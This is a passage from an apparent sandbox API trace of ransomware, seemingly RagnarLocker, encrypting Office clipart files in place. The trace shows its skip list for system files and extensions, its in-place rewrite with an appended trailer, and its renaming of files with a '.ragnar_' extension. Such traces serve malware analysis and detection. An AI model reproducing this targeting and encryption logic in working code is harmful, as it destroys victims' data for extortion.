(in: hFile=0xf4, liDistanceToMove=0x788, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.752] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.752] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.752] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.752] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.752] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.752] GetProcessHeap () returned 0x580000 [0082.753] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.753] CloseHandle (hObject=0xf4) returned 1 [0082.753] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" [0082.753] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.ragnar_FD7BD9FC" [0082.753] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.753] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0082.753] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.753] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00557_.WMF" | out: lpString1="IN00557_.WMF") returned="IN00557_.WMF" [0082.753] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned=".WMF" [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="autorun.inf") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="boot.ini") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="bootfont.bin") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="bootsect.bak") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="bootmgr") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="bootmgr.efi") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.753] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="desktop.ini") returned 1 [0082.754] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="iconcache.db") returned 1 [0082.754] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="ntldr") returned -1 [0082.754] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="ntuser.dat") returned -1 [0082.754] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.754] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="ntuser.ini") returned -1 [0082.754] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="thumbs.db") returned -1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.754] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0082.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.754] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9172) returned 1 [0082.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.754] GetProcessHeap () returned 0x580000 [0082.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.754] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.756] VirtualAlloc (lpAddress=0x0, dwSize=0x23d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.756] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23d4, lpOverlapped=0x0) returned 1 [0082.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.757] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.757] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23d4, lpOverlapped=0x0) returned 1 [0082.757] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.757] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.757] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.757] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.758] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.758] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.758] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.758] GetProcessHeap () returned 0x580000 [0082.758] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.758] CloseHandle (hObject=0xf4) returned 1 [0082.758] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" [0082.758] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.ragnar_FD7BD9FC" [0082.758] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.758] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0082.759] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.759] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00915_.WMF" | out: lpString1="IN00915_.WMF") returned="IN00915_.WMF" [0082.759] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned=".WMF" [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="autorun.inf") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="boot.ini") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="bootfont.bin") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="bootsect.bak") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="bootmgr") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="bootmgr.efi") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="desktop.ini") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="iconcache.db") returned 1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="ntldr") returned -1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="ntuser.dat") returned -1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="ntuser.ini") returned -1 [0082.759] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="thumbs.db") returned -1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.759] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0082.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.760] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12748) returned 1 [0082.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.760] GetProcessHeap () returned 0x580000 [0082.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.761] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.762] VirtualAlloc (lpAddress=0x0, dwSize=0x31cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.762] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31cc, lpOverlapped=0x0) returned 1 [0082.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.763] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31cc, lpOverlapped=0x0) returned 1 [0082.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.763] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.764] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.764] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.764] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.764] GetProcessHeap () returned 0x580000 [0082.764] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.764] CloseHandle (hObject=0xf4) returned 1 [0082.764] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" [0082.764] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.ragnar_FD7BD9FC" [0082.764] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.764] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0082.764] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.765] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00919_.WMF" | out: lpString1="IN00919_.WMF") returned="IN00919_.WMF" [0082.765] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned=".WMF" [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="autorun.inf") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="boot.ini") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="bootfont.bin") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="bootsect.bak") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="bootmgr") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="bootmgr.efi") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="desktop.ini") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="iconcache.db") returned 1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="ntldr") returned -1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="ntuser.dat") returned -1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="ntuser.ini") returned -1 [0082.765] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="thumbs.db") returned -1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0082.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.766] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6920) returned 1 [0082.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1aff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.766] GetProcessHeap () returned 0x580000 [0082.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.766] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.767] VirtualAlloc (lpAddress=0x0, dwSize=0x1b08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.767] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b08, lpOverlapped=0x0) returned 1 [0082.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.768] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b08, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.768] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b08, lpOverlapped=0x0) returned 1 [0082.768] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.768] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.768] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.768] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 